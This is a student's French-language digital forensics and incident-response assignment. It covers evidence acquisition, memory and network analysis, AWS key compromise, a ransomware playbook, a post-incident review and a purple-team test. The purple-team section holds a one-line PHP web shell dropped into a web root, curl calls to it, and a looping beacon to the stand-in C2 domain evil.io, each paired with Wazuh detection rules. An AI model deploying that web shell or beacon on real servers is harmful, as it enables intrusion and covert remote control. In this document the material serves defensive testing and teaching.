



République du Cameroun
Paix-Travail-Patrie

Ministère de l'Enseignement
Supérieur

Université de Garoua

Faculté des Sciences

Division des Affaires
Académiques, de la Scolarité et
de la Recherche

Republic of Cameroon
Peace-Work-Fatherland

Ministry of Higher Education

Université de Garoua

Faculté of Science

Division of Academic Affairs,
Student's Admission and
Research



UE : Supervision, Analyse Forensique et Gestion des incidents

N°	Noms et prénoms	Matricule	NIVEAU
1	PEDENE OUMAROU JEAN PAUL	CM-UGa-24FS0782	MASTER II

Année Académique : 2025-2026

TRAVAIL PRATIQUE DU CHAPITRE 5-8,10

Exercice 5.1 — Stratégie d'acquisition

Les 8 premières actions dans l'ordre :

1. Ne rien altérer

Le système est allumé (mode live) : toute action modifie la RAM. On documente l'état visuel (écran, connexions actives) avant toute intervention.

2. Documenter l'environnement physique

Photographier l'écran, noter l'heure système, le nom de la machine, les périphériques connectés. Début de la chaîne de custodie.

3. Identifier et noter la connexion RDP suspecte

Avant toute capture, noter l'IP source, le compte utilisé, l'heure — informations visibles et volatiles.

4. Capturer la RAM (acquisition live)

La RAM est la donnée la plus volatile (ordre RFC 3227). Utiliser Win mem ou Magnet RAM Capture vers un support externe write-protège.

```
winpmem_mini_x64.exe /mnt/evidence/ram-erp01.raw
```

5. Capturer l'état réseau et les processus (toujours live)

Avant d'éteindre, collecter les informations système :

```
netstat -ano > connexions.txt
```

```
tasklist /v > processus.txt
```

```
ipconfig /all > reseau.txt
```

6. Decision live/dead -> choisir dead pour le disque

La RAM est capturée. On éteint proprement (ou on arrache l'alimentation selon la politique) pour passer en mode dead afin d'obtenir une image disque intègre.

7. Connecter un bloqueur en écriture sur le disque

Brancher un write blocker matériel sur le disque avant toute connexion à la station forensique. Principe fondateur : ne rien altérer.

8. Calculer et noter le hash du disque source

Avant l'acquisition, hasher le disque original (SHA-256) pour prouver l'intégrité initiale. Cet hash sera comparé après l'acquisition.

Exercice 5.2 — Commande d'acquisition avec dcfldd

Commande complète :

```
dcflddd if=/dev/sdc \  
  of=/mnt/evidence/erp-sdc.dd \  
  hash=sha256 \  
  hashlog=/mnt/evidence/erp-sdc.sha256.log \  
  bs=128K \  
  hashwindow=128K \  
  status=on
```

Commande de vérification d'intégrité :

```
sha256sum /mnt/evidence/erp-sdc.dd > /mnt/evidence/erp-sdc-verify.sha256  
diff /mnt/evidence/erp-sdc.sha256.log /mnt/evidence/erp-sdc-verify.sha256
```

Résultat : Si diff ne retourne rien -> hashes identiques -> intégrité confirmée.

Exercice 5.3 — Procès-Verbal de saisie (chaîne de custody)

PROCES-VERBAL DE COLLECTE NUMERIQUE

- Date : 08/05/2026
- Nom / Prénom : **PEDENE OUMAROU JEAN PAUL**
- Qualité : Analyste forensique
- Nom machine : srv-erp-01
- Système d'exploitation : Windows Server 2022
- Etat au moment de la saisie : ALLUME — Connexion RDP suspecte active
- Support de destination : /mnt/evidence — Disque externe SSD, S/N
- Outil d'acquisition : dcfldd
- Outil utilise : WinPmem
- Fichier produit : ram-erp01.raw
- Source : /dev/sdc
- Fichier image produit : erp-sdc.dd
- Format : RAW (dd)
- Taille des blocs : 128K

Exercice 6.1 — Analyse du registre Windows (RegRipper)

```
# Monter l'image en lecture seule
sudo mount -o ro,loop,offset=$((512*2048)) srv-erp-01.dd /mnt/image

# Copier les ruches vers le dossier de travail
cp /mnt/image/Windows/System32/config/SYSTEM ./ruches/
cp /mnt/image/Windows/System32/config/SOFTWARE ./ruches/
cp /mnt/image/Windows/System32/config/SAM ./ruches/
cp /mnt/image/Users/*/NTUSER.DAT ./ruches/
```

(a) Clés Run — Programmes au démarrage

Commandes RegRipper :

```
rip.pl -r ruches/SOFTWARE -p run
rip.pl -r ruches/NTUSER.DAT -p run
```

(b) Comptes locaux dans la SAM

Commande RegRipper :

```
rip.pl -r ruches/SAM -p samparse
```

(c) Fuseau horaire configure

Commande RegRipper :

```
rip.pl -r ruches/SYSTEM -p timezone
```

Exercice 6.2 — Timeline NTFS avec fls et mactime

Etape 1 — Générer la timeline complète

```
# 1. Extraire les metadonnées NTFS (body file)
fls -r -m C: -o 2048 srv-web-01.dd > body_file.txt
```

```
# 2. Générer la timeline sur la plage horaire
mactime -b body_file.txt -d \
    -z UTC \
    2026-04-12T02:00:00 2026-04-12T06:00:00 \
```

```
> timeline_web01.csv
```

5 Evenements les plus suspects — avec TTPs MITRE ATT&CK

Heure UTC	Fichier / Chemin	Action (MAC)	TTP MITRE	Justification
2026-04-12 02:14:33	C:\Windows\System32\svchost_update.exe	Création (m+b)	T1036.004 – Masquerading	Nom imitant un process système légitime, crée en pleine nuit
2026-04-12 02:47:11	C:\Users\svc_backup\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\run.vbs	Création (m+b)	T1547.001 – Boot/Logon Autostart	VBScript dans dossier Startup = persistance au redémarrage
2026-04-12 03:12:05	C:\Windows\Temp\mimikatz.exe	Création + exec (m+a+b)	T1003.001 – LSASS Memory Dump	Nom d'outil de dump de crédenciales connu
2026-04-12 03:47:22	C:\Users\Administrator\Documents\dump.txt	Création (m+b)	T1078 – Valid Accounts	Fichier crée par compte Admin après connexion suspecte (cf. SAM)
2026-04-12 04:22:58	C:\Windows\System32\config\SAM	Accès (a)	T1003.002 – SAM Database	Accès direct à la base SAM = tentative d'extraction des hashes

Annotation dans le rapport

Pour chaque évènement, documenter :

- Horodatage exact UTC + conversion heure locale
- Chemin complet du fichier avec inode MFT
- Type de changement MAC observe
- TTP MITRE ATT&CK avec identifiant et nom
- Justification forensique de la suspicion

Exercice 6.3 — Détection de persistance Linux

```
sudo mount -o ro,loop,offset=$((512*2048)) linux.dd /mnt/linux
export ROOT=/mnt/linux
```

1. Cron — Taches planifiées

Commandes d'investigation :

```
# Crontabs systeme
cat $ROOT/etc/crontab
ls -la $ROOT/etc/cron.d/
ls -la $ROOT/etc/cron.{hourly,daily,weekly,monthly}/

# Crontabs utilisateurs
ls -la $ROOT/var/spool/cron/crontabs/
cat $ROOT/var/spool/cron/crontabs/root
```

2. Systemd — Services et timers

Commandes d'investigation :

```
# Services systeme
ls -la $ROOT/etc/systemd/system/
ls -la $ROOT/lib/systemd/system/
cat $ROOT/etc/systemd/system/*.service

# Timers
ls -la $ROOT/etc/systemd/system/*.timer

# Services actives (sur systeme live)
systemctl list-units --state=enabled --type=service
```

3. LD_PRELOAD — Injection de bibliothèque

Commandes d'investigation :

```
# Fichier de configuration global
cat $ROOT/etc/ld.so.preload

# Variables d'environnement persistantes
grep -r 'LD_PRELOAD' $ROOT/etc/environment
grep -r 'LD_PRELOAD' $ROOT/etc/profile $ROOT/etc/profile.d/
grep -r 'LD_PRELOAD' $ROOT/home/*/.bashrc $ROOT/root/.bashrc
```

4. Authorized_keys — Accès SSH sans mot de passe

Commandes d'investigation :

```
# Toutes les clés SSH autorisées
find $ROOT/home $ROOT/root -name 'authorized_keys' 2>/dev/null
cat $ROOT/root/.ssh/authorized_keys
cat $ROOT/home/*/.ssh/authorized_keys

# Vérifier les permissions (doivent être 600)
stat $ROOT/root/.ssh/authorized_keys
```

5. Bashrc / Profile — Exécution au login

Commandes d'investigation :

```
# Fichiers de configuration shell
cat $ROOT/root/.bashrc
cat $ROOT/root/.bash_profile
cat $ROOT/home/*/.bashrc
cat $ROOT/etc/bash.bashrc
cat $ROOT/etc/profile
ls $ROOT/etc/profile.d/
```

Exercice 7.1 — Analyse mémoire avec Volatility 3

(a) Lister les processus actifs

```
# Liste arborescente parent/enfant
vol -f ram-srv-web-01.raw windows.pstree

# Liste simple avec PID, PPID, heure de démarrage
vol -f ram-srv-web-01.raw windows.pslist

# Version qui cherche aussi les processus caches
vol -f ram-srv-web-01.raw windows.psscan
```

Signaux suspects à repérer :

Signal suspect	Exemple	Raison
Nom trompeur	svchost.exe lance par explorer.exe	Normalement lance par services.exe

Process sans chemin disque	PID sans image associée	Malware injecte en mémoire
Heure de démarrage anormale	Process lance à 02 :14 UTC	Coïncide avec l'intrusion
PPID incohérent	cmd.exe enfant de winword.exe	Exploitation de document Office

(b) Identifier les connexions réseau

```
# Connexions actives ET fermées (avec PID associe)
vol -f ram-srv-web-01.raw windows.netstat
```

```
# Connexions reseau avec port et etat
vol -f ram-srv-web-01.raw windows.netscan
```

Ce qu'on documente pour chaque connexion :

IP distante + port -> rechercher si IP connue comme C2 dans les bases Thread Intelligence

PID associe -> quel processus a établi la connexion ?

Etat -> ESTABLISHED (actif), CLOSE_WAIT (termine récemment)

Port inhabituel -> ex : 443 vers une IP inconnue = HTTPS C2 possible

(c) Exécuter malfind — Zones mémoire suspectes

```
vol -f ram-srv-web-01.raw windows.malfind
```

Ce que fait malfind : il cherche des régions mémoire avec les permissions PAGE_EXECUTE_READWRITE (RWX) qui contiennent du code — caractéristique d'une injection de code ou d'un Shell code.

PID + nom du process	Identifier le processus infecte
Adresse mémoire	Zone suspecte dans l'espace d'adressage
Permissions RWX	Exécute + Ecrit + Lit = très suspect pour une zone data
Octets MZ en tête	Signature d'un exécutable Windows (PE) injecte en mémoire

```
# Extraire le binaire injecte pour analyse
vol -f ram-srv-web-01.raw windows.malfind --dump
```

```
# Chercher des chaines suspectes dans le dump
strings pid.xxx.dmp | grep -E "(http|cmd|powershell|beacon)"
```

(d) Détecter un processus cache — DKOM

Le DKOM (Direct Kernel Object Manipulation) est une technique rootkit : l'attaquant retire le processus de la liste officielle du kernel (EPROCESS) pour le rendre invisible a tasklist et au gestionnaire de taches.

```
# Comparer pslist (liste officielle) vs psscan (scan brut RAM)
vol -f ram-srv-web-01.raw windows.pslist > pslist.txt
vol -f ram-srv-web-01.raw windows.psscan > psscan.txt
```

```
# Tout PID present dans psscan mais ABSENT de pslist = cache par DKOM
diff pslist.txt psscan.txt
```

Exercice 7.2 — Analyse reseau (Wireshark + Zeek)

Fichier source : capture-incident.pcap | Outils : Zeek (logs automatiques) + Wireshark (analyse manuelle)

(a) Identifier l'IP de commande et contrôle (C2)

Avec Zeek — analyse automatique des connexions :

```
zeek -r capture-incident.pcap
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p duration orig_bytes
```

Avec Wireshark — filtres manuels :

```
# Connexions TCP sortantes hors reseau local
tcp.flags.syn == 1 && !ip.dst == 192.168.0.0/16

# Requetes POST suspectes (upload / exfiltration)
http.request.method == "POST"
```

(b) Identifier le protocole de communication

```
# Zeek genere automatiquement les logs par protocole
cat http.log      # Trafic HTTP en clair
cat ssl.log       # Trafic TLS/HTTPS chiffré
cat dns.log       # Requêtes DNS (DNS tunneling possible)
```

(c) Identifier les données exfiltrées

```
# Zeek - volume de données par connexion (trier par octets sortants)
cat conn.log | zeek-cut id.resp_h orig_bytes resp_bytes | sort -k3 -nr | head -20

# Chercher des données encodées en base64 dans les URI HTTP
cat http.log | zeek-cut uri | grep -E "[A-Za-z0-9+/]{50,}={0,2}"

# Wireshark : clic droit sur paquet suspect -> Follow TCP Stream
```

(d) Durée totale de l'activité C2

```
# Premier contact avec l'IP C2
cat conn.log | zeek-cut ts id.resp_h duration | grep 'IP_C2' | sort -k1 | head -1

# Dernier contact avec l'IP C2
cat conn.log | zeek-cut ts id.resp_h duration | grep 'IP_C2' | sort -k1 | tail -1
```

Exercice 7.3 — CloudTrail : CreateAccessKey depuis IP TOR

Les 4 actions d'investigation dans l'ordre

Action 1 — Désactiver immédiatement la clé créée (Confinement)

C'est le principe de confinement : couper l'accès avant toute analyse pour limiter les dégâts. La clé reste tracée dans les logs mais ne peut plus être utilisée.

```
aws iam delete-access-key \
  --access-key-id AKIA[ID_DE_LA_CLE_CREEEE] \
  --user-name LiZbiZ-SIS
```

Action 2 — Comprendre comment l'accès a été possible

Chercher l'évènement exact dans CloudTrail pour identifier la session d'origine, les permissions utilisées, et si un rôle a été assume (AssumeRole).

```
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=CreateAccessKey \
  --start-time 2026-04-12T03:00:00Z \
  --end-time 2026-04-12T04:00:00Z
```

Action 3 — Recenser toutes les actions effectuees

Chercher ce que l'attaquant a fait avec la cle : a-t-il crée d'autres backdoors ? Accède a S3 ? Lance des instances EC2 ? Modifie des politiques IAM ?

```
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=Username,AttributeValue=LiZbiZ-SIS \
  --start-time 2026-04-11T00:00:00Z \
  --end-time 2026-04-12T23:59:59Z
```

Action 4 — Auditer tous les accès IAM du compte AWS

Vérifier si d'autres comptes a été compromis ou si des permissions ont été escaladées. Générer le rapport de crédenciales complet.

Rapport complet de toutes les cles et leurs dates d'utilisation

```
aws iam generate-credential-report
```

```
aws iam get-credential-report
```

Lister tous les utilisateurs et leurs cles actives

```
aws iam list-users
```

```
aws iam list-access-keys --user-name LiZbiZ-SIS
```

Les logs CloudTrail à consulter

Log / Service AWS	Ce qu'on cherche
CloudTrail (principal)	CreateAccessKey, ConsoleLogin, AssumeRole, PutUserPolicy
IAM Access Advisor	Quels services ont ete accedes avec les nouvelles permissions
S3 Access Logs	Telechargement ou copie de donnees depuis les buckets
EC2 / CloudWatch	Lancement d'instances, modifications de security groups
GuardDuty	Alertes automatiques sur comportements anormaux (si active)
VPC Flow Logs	Connexions réseau depuis/vers les ressources AWS

Exercice 8.1 — Playbook Ransomware LiZbiZ-SIS (6 étapes)

Declencheur

Alerte SIEM : chiffrement massif de fichiers (extensions modifiées, CPU élevé, accès disque anormal) OU signalement utilisateur : fichiers inaccessibles + note de rançon.

1 Qualification (N1, < 15 min)

- Vérifier l'alerte SIEM : quel Endpoint ? quel compte ? depuis quand ?
- Confirmer la présence d'une note de rançon (README.txt, DECRYPT_FILES.html)
- Identifier les partages réseau touchés (lecteurs mappés chiffrés = propagation)
- Si faux positif (chiffrement légitime, backup) : fermer le ticket, documenter
- Si ransomware confirme : escalader N2, ouvrir le log d'incident, alerter le RSSI

2 Confinement immédiat (N2, < 30 min)

Isoler réseau : débrancher le câble Ethernet ou bloquer le port switch (pas d'extinction)
Désactiver le compte compromis dans l'AD
Bloquer l'IP C2 identifiée au firewall pfSense
Isoler dans un VLAN de quarantaine les machines adjacentes potentiellement touchées
Capturer la RAM avant tout arrêt (WinPmem / avml) — recherche la clé de chiffrement

```
# Capture RAM Windows  
winpmem_mini_x64.exe /mnt/evidence/ram-srv.raw
```

```
# Capture RAM Linux  
avml /mnt/evidence/ram-srv.raw
```

3 Investigation (N2/N3, < 4 h)

Identifier le vecteur d'entrée : phishing, RDP expose, vuln web ?
Analyser les logs d'authentification : premier compte compromis, heure d'entrée
Analyser la timeline Sysmon / MFT : quand le chiffrement a-t-il commencé ?
Identifier le variant de ransomware (ID Ransomware, extensions, note de rançon)
Cartographier les systèmes touchés : quels partages ? quels serveurs ?
Chercher les mécanismes de persistance (clés Run, tâches planifiées, nouveaux comptes)

4 Eradication (N2/N3)

Supprimer les artefacts malveillants identifiés (exécutable ransomware, scripts de déploiement)
Réinitialiser tous les credentials compromis : comptes AD, clés SSH, secrets AWS
Patcher la vulnérabilité exploitée (RDP, VPN, CVE identifiée)
Nettoyer les clés Run / tâches planifiées malveillantes
Scanner tous les systèmes du réseau avec un antivirus à jour

5 Rétablissement (N2, < 72 h)

Restaurer depuis le dernier backup sain antérieur à la compromission
Vérifier l'intégrité des sauvegardes avant restauration (hash SHA-256)
Remettre en production progressivement : d'abord les services critiques
Renforcer la surveillance : nouvelle règle SIEM ciblée sur le variant identifié
Activer la journalisation étendue sur les systèmes rétablis

6	Notification & RETEX (< 72 h)
---	-------------------------------

Notifier la direction : impact métier, données touchées, mesures prises
 Evaluer l'obligation RGPD : si données personnelles chiffrées/exfiltrées -> notification CNIL sous 72 h
 Notifier l'ANSSI/ANTIC si OIV/OSE ou si attaque coordonnée
 RETEX dans les 72 h : chronologie, vecteur, impact financier, recommandations
 Mettre à jour le playbook avec les leçons apprises

Matrice d'escalade

Niveau	Rôle	Déclencheur	Délai max
N1	Analyste SOC	Détection alerte SIEM	< 15 min
N2	Responsable SOC / RSSI	Incident confirme	< 30 min
N3	Forensic expert / DG	Compromission critique	< 4 h
Externe	ANSSI / Avocat / Assurance cyber	Selon gravite et obligations légales	Selon gravite

Exercice 8.2 — Classification de l'incident

Contexte	A 02h30, Wazuh alerte : modification de /etc/passwd sur srv-web-01 par le compte www-data.
----------	--

Classification et justification

Champ	Valeur
Type d'incident	Compromission de compte / Elevation de privileges
Criticité	CRITIQUE (P1)
Catégorie MITRE	T1098 — Account Manipulation
TTP secondaire	T1505.003 — Web Shell (vecteur probable)

CRITICITE : CRITIQUE — P1

Justification élément par élément

Élément	Analyse forensique
Compte www-data	Compte de service Apache — n'a JAMAIS de raison légitime de modifier /etc/passwd

Heure 02h30	Heure non ouverte — activité anormale, probablement automatisée par un script
Fichier /etc/passwd	Fichier système critique — modification = ajout de compte backdoor ou escalade root
Serveur srv-web-01	Serveur web expose = vecteur d'entrée probable (webshell, RCE via vuln applicative)

Conclusion : un attaquant a exploité une vulnérabilité web (RCE) pour exécuter du code sous www-data, puis a modifié /etc/passwd pour créer un backdoor ou s'élever en root.

Les 5 premières actions à mener

Action 1 — Isoler srv-web-01 dans un VLAN de quarantaine

Couper la propagation immédiatement sans éteindre la machine (préservation de la RAM).

Action 2 — Capturer la RAM

```
avml /mnt/evidence/ram-srv-web-01.raw
```

Action 3 — Examiner /etc/passwd et /etc/shadow

```
# Comparer avec un backup sain
diff /etc/passwd /backup/etc/passwd

# Chercher les comptes avec UID 0 (root)
awk -F: '($3 == 0)' /etc/passwd

# Voir les dernières lignes ajoutées
tail -5 /etc/passwd
```

Action 4 — Analyser les logs Apache et auth.log

```
# Chercher le webshell ou la RCE dans les logs Apache
grep "www-data" /var/log/apache2/access.log | grep -E "(POST|cmd|exec|shell)"

# Authentifications suspectes autour de 02h30
grep "02:2[0-9]" /var/log/auth.log
```

Action 5 — Identifier la persistance installée

```
# Nouveaux comptes créés
grep "useradd\|adduser" /var/log/auth.log

# Crontabs de tous les utilisateurs
cat /var/spool/cron/crontabs/*

# Clés SSH ajoutées
find /home /root -name 'authorized_keys'
```

Exercice 8.3 — Résumé exécutif (Directeur General)

1. Nature de l'incident

Dans la nuit du 11 au 12 avril 2026, LiZbiZ-SIS à été victime d'une intrusion informatique ciblée. Un individu malveillant a pénétré nos systèmes en exploitant une faille sur notre serveur web, puis a étendu son accès a notre infrastructure cloud AWS.

Début de l'intrusion : vers 22h30 le 11/04/2026

Détection : 02h30 le 12/04/2026

Fenêtre d'exposition : environ 4 heures sans détection

2. Impact

Dimension	Détail
Systèmes touchés	Serveur web srv-web-01 + Compte AWS dev LiZbiZ-SIS
Données exposées	Données applicatives web ; accès API AWS crée frauduleusement
Disponibilité	Srv-web-01 isole préventivement a 02h45 — interruption partielle
Cout estime	48-72h intervention technique + risque règlementaire RGPD si données personnelles exposées
Risque résiduel	Vérification en cours de l'étendue exacte des données accédées via la clé AWS

3. Mesures prises

N°	Action	Heure
1	Isolation immédiate du serveur compromis dans VLAN quarantaine	02h45
2	Désactivation de la clé AWS créée frauduleusement	03h30
3	Capture forensique de la mémoire RAM et des disques	03h00
4	Blocage de l'IP attaquante au pare-feu	02h50
5	Analyse forensique en cours pour déterminer l'étendue	En cours
6	Renforcement des règles de surveillance SIEM	04h15

4. Recommandations

Priorité	Recommandation	Délai
CRITIQUE	Patcher la vulnérabilité web exploitée (CVE en cours d'identification)	Immédiate
HAUTE	Activer l'authentification multi-facteurs sur tous les accès AWS et VPN	< 48h
HAUTE	Evaluer l'obligation de notification à la CNIL (données personnelles exposées ?)	< 72h
MOYENNE	Revue mensuelle des comptes et accès privilèges (IAM, AD)	< 30 jours
MOYENNE	Audit de sécurité complet de l'infrastructure web exposée	< 30 jours

Exercice 10.1 — RETEX Structure (6 sections)

SECTION 1 — Contexte de l'incident

Champ	Détail
Reference	INC-2026-0412-001
Date début	11/04/2026 à 22h30 UTC
Date détection	12/04/2026 à 02h30 UTC
Date clôture	12/04/2026 à 08h00 UTC
Durée totale	~9h30 (dont 4h sans détection)
Systèmes touchés	Srv-web-01 (Linux) + compte AWS dev Liiez-SIS
Equipe de réponse	SOC N1/N2, analyste forensique N3, RSSI
Classification	CRITIQUE — P1

Résumé : Un attaquant a exploité une vulnérabilité RCE sur srv-web-01, pris le contrôle du compte www-data, modifie /etc/passwd pour créer une backdoor, puis crée une clé AWS frauduleuse depuis une IP TOR pour maintenir un accès persistant à l'infrastructure cloud.

SECTION 2 — Causes profondes (méthode des 5 Pourquoi)

Problème de départ : Un attaquant a pu prendre le contrôle de srv-web-01 et de l'infrastructure AWS.

Pourquoi 1 : Pourquoi l'attaquant a-t-il pu exécuter du code sur le serveur ?

→ Parce qu'une vulnérabilité RCE non patchée était présente dans l'application web.

Pourquoi 2 : Pourquoi la vulnérabilité n'était-elle pas patchée ?

→ Parce qu'il n'existait pas de processus de patch management avec délai maximal imposé.

Pourquoi 3 : Pourquoi n'y avait-il pas de processus de patch management ?

→ Parce que la responsabilité des mises à jour n'était pas clairement attribuée entre Dev et Ops.

Pourquoi 4 : Pourquoi la responsabilité n'était-elle pas attribuée ?

→ Parce qu'aucune politique de sécurité formalisée ne définissait les rôles et délais pour les correctifs critiques.

Pourquoi 5 : Pourquoi n'y avait-il pas de politique formalisée ?

→ Parce que la gouvernance de la sécurité n'était pas structurée : pas de RSSI dédiée, pas de revue périodique des risques.

Cause racine : Absence de gouvernance de sécurité formalisée entraînant un déficit de patch management et une surface d'attaque non maîtrisée.

SECTION 3 — Chronologie de la détection

Heure UTC	Evènement	Détecte ?
22h30	Premier accès RCE via l'application web	NON
22h47	Webshell déposé dans /var/www/html/	NON
23h15	Connexion SSH depuis IP externe via clé ajoutée	NON
02h14	Modification de /etc/passwd par www-data	NON
02h22	CreateAccessKey AWS depuis IP TOR	NON

02h30	Alerte Wazuh : modification /etc/passwd	OUI
02h45	Isolation de srv-web-01 par le SOC	—
03h22	Désactivation de la clé AWS frauduleuse	—

Métrique	Valeur	Objectif cible
MTTD (Mean Time To Detect)	4h00	< 30 min
MTTR (Mean Time To Respond)	5h30	< 2h

SECTION 4 — Réponse a l'incident

Etape	Action	Responsable	Durée
Confinement	Isolation srv-web-01 en VLAN quarantaine	SOC N2	15 min
Confinement	Désactivation clé AWS frauduleuse	SOC N2	45 min
Forensique	Capture RAM + image disque	Analyste N3	2h
Investigation	Analyse timeline + logs Apache	Analyste N3	3h
Eradication	Suppression webshell + patch vuln	Ops + Dev	4h
Rétablissement	Restauration backup + remise en prod	Ops	6h
Notification	Information direction + évaluation CNIL	RSSI	1h

SECTION 5 — Recommandations (6 actions prioritées)

Priorité	Action	Impact	Effort	Délai
1 — CRITIQUE	Mettre en place un patch management avec délai max 72h pour CVE critiques	Très élevé	Moyen	< 2 semaines
2 — CRITIQUE	Activer MFA sur tous les comptes AWS et accès VPN	Très élevé	Faible	< 48h
3 — HAUTE	Règle SIEM : CreateAccessKey depuis IP TOR → alerte P1	Élevé	Faible	< 1 semaine
4 — HAUTE	Déployer règles détection webshell (Apache + Wazuh FIM)	Elevé	Moyen	< 2 semaines
5 — MOYENNE	Nommer un RSSI dédié et formaliser la politique de sécurité	Elevé	Elevé	< 3 mois
6 — MOYENNE	Pentest annuel sur les applications web exposées	Moyen	Elevé	< 6 mois

SECTION 6 — Capitalisation et leçons apprises

Leçons apprises :

- Une vulnérabilité web non patchée suffit à compromettre toute l'infrastructure cloud associée
- La modification de /etc/passwd par un compte de service = indicateur critique P1 immédiat
- Une CreateAccessKey depuis TOR = compromission confirmée, pas un doute

Mises à jour du playbook :

- Ajouter scenario 'RCE + pivot cloud' dans le playbook intrusion

- Intégrer 'CreateAccessKey depuis IP anonyme' comme déclencheur P1
- Ajouter étape de vérification AWS dans tout confinement impliquant un serveur web

KPIs de suivi :

Métrique	Avant incident	Objectif après remédiation
MTTD	4h00	< 30 min
MTTR	5h30	< 2h
Taux couverture ATT&CK	14% (1/7)	100% (7/7) dans 6 mois
Taux de récurrence	N/A	0% sur les mêmes TTPs

Exercice 10.2 — Tableau de couverture ATT&CK (Table 8.5)

Tableau de couverture complet — 7 techniques

TTP	Phase IR	Action attaquant	Source de log	Règle SIEM ?	Action si non couverte
T1595	Reconnaissance	Scan de ports	pfSense logs (SYN flood)	OUI	Affiner seuil de détection
T1110.001	Accès initial	Brute force SSH	auth.log, /var/log/secure	OUI	Vérifier seuil (>5 échecs)
T1059.004	Exécution	wget + script bash	Sysmon EID 1, audit	OUI	Alerter wget/curl par compte non-admin
T1071.001	C2	Connexion HTTPS sortante	Sysmon EID 3, pfSense	OUI	Enrichir avec IoC MISP evil.io
T1021.002	Mouvement latéral	SMB vers ERP	Windows EID 4624 + 4776	OUI	Ajouter corrélation : 4624 hors horaires
T1005	Collecte	Accès base de données	Logs MySQL + proxy	NON	Créer règle : accès MySQL par compte non applicatif
T1070.001	Couverture	Effacement journal	Windows EID 1102, audit	OUI	Ajouter alerte sur audit Linux

Taux de couverture actuel **6 / 7 = 86%**

Angle mort critique T1005 — Accès base de données

Règle SIEM a créé pour T1005 (angle mort)

```
<!-- /var/ossec/etc/rules/database_rules.xml -->
<rule id="100310" level="12">
  <if_group>mysql</if_group>
  <field name="mysql.user" negate="yes">app_lizbiz</field>
  <description>Accès MySQL par compte non applicatif - collecte suspecte</description>
  <mitre><id>T1005</id></mitre>
  <group>database,exfiltration,purple-team</group>
</rule>
```

Exercice 10.3 — Scenario Purple Team (3 techniques)

Objectif : tester 3 techniques dans les angles morts de couverture ATT&CK de LiZbiZ-SIS. Chaque test documente l'attaque simulée, la source de log attendue et la règle SIEM à créer ou vérifier.

Technique 1 — T1505.003 : Web Shell (angle mort critique)

Champ	Détail
Technique MITRE	T1505.003 — Server Software Component: Web Shell
Objectif	Vérifier que le dépôt d'un webshell est détecté en moins de 5 minutes
Statut avant test	Non couverte — aucune règle FIM sur /var/www/html/

Attaque simulée (Red Team) :

```
# Déposer un webshell PHP minimaliste dans le répertoire web
echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/images/shell.php
```

```
# Tester l'exécution via requête HTTP
curl "http://srv-web-01/images/shell.php?cmd=id"
```

Sources de log attendues :

Wazuh FIM : création de shell.php dans /var/www/html/

Apache access.log : requête GET avec paramètre cmd=

Audit : exécution de commande système par www-data

Règle SIEM à créer :

```
<rule id="100300" level="15">
  <if_group>syscheck</if_group>
  <field name="syscheck.path" type="pcre2">/var/www/html/.*\.(php|py|sh)$</field>
  <description>ALERTE : Fichier executable cree dans le repertoire web - webshell
possible</description>
  <mitre><id>T1505.003</id></mitre>
  <group>webshell,intrusion,purple-team</group>
</rule>
```

Critere de succes : alerte generee en < 5 min apres le depot du fichier. Niveau 15 = alerte critique immediate.

Technique 2 — T1098.001 : CreateAccessKey AWS depuis IP non whitelisee

Champ	Détail
Technique MITRE	T1098.001 — Account Manipulation : Additional Cloud Credentials
Objectif	Vérifier que la création d'une clé AWS depuis IP TOR déclenche une alerte P1
Statut avant test	Non couverte — aucune règle CloudTrail dans Wazuh

Attaque simulée (Red Team) :

```
# Simulation depuis un noeud TOR ou VPN anonyme
aws iam create-access-key --user-name lizbiz-test-user \
  --profile compromised-session
```

```
# Verifier l'evenement dans CloudTrail
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=CreateAccessKey
```


Sources de log attendues :
AWS CloudTrail : évènement CreateAccessKey avec source IP Address hors whitelist
GuardDuty : alerte UnauthorizedAccess:IAMUser/TorIPCaller

Règle SIEM à créer (intégration CloudTrail → Wazuh) :

```
<rule id="100301" level="15">
  <if_group>amazon-cloudtrail</if_group>
  <field name="aws.eventName">CreateAccessKey</field>
  <list field="aws.sourceIPAddress" lookup="not_match_key">
    etc/lists/aws_whitelist_ips
  </list>
  <description>AWS ALERTE P1 : CreateAccessKey depuis IP non autorisee</description>
  <mitre><id>T1098.001</id></mitre>
  <group>aws,iam,backdoor,purple-team</group>
</rule>
```

Critere de succes : alerte P1 recue dans Wazuh en < 2 min apres l'action CloudTrail.

Technique 3 — T1071.001 : C2 via HTTPS vers domaine malveillant

Champ	Détail
Technique MITRE	T1071.001 — Application Layer Protocol: Web Protocols
Objectif	Vérifier que la communication vers un domaine C2 connu est bloquée et alertée
Statut avant test	Partiellement couverte — règle MISP existante mais IoC evil.io non charge

Attaque simulée (Red Team) :

```
# Simulation d'un beacon C2 depuis le serveur compromis
curl -s https://evil.io/beacon -o /dev/null

# Simulation DNS
nslookup evil.io

# Simulation beacon periodique (toutes les 60s)
while true; do curl -s https://evil.io/check; sleep 60; done &
```

Sources de log attendues :
DNS revolver logs : requête vers evil.io
Proxy/firewall logs : tentative de connexion HTTPS sortante
Wazuh : matching IoC MISP via liste CDB (cf. TP9)

Règle SIEM a vérifier (cf. TP9 — Ex 9.3) :

```
<rule id="100200" level="12">
  <list field="dns.question.name" lookup="match_key">
    etc/lists/misp_ioc
  </list>
  <description>MISP IoC - Domaine C2 detecte : $(dns.question.name)</description>
  <mitre><id>T1071.001</id></mitre>
  <group>misp,c2,threat-intel</group>
</rule>
```

Critères de succès :

- Connexion DNS bloquée par le revolver
- Alerte Wazuh générée en < 1 min
- Aucun paquet n'atteint evil.io (vérification VPC Flow Logs)

Registre de couverture Purple Team

Technique	Statut avant test	Résultat test	Statut après remédiation
-----------	-------------------	---------------	--------------------------

T1505.003 – Web Shell	Non couverte	Alerte absente → ECHEC	Règle 100300 créée → SUCCES
T1098.001 – CreateAccessKey	Non couverte	Alerte absente → ECHEC	Règle 100301 créée → SUCCES
T1071.001 – C2 HTTPS	Partielle	Alerte présente → SUCCES	Maintenu + IoC mis à jour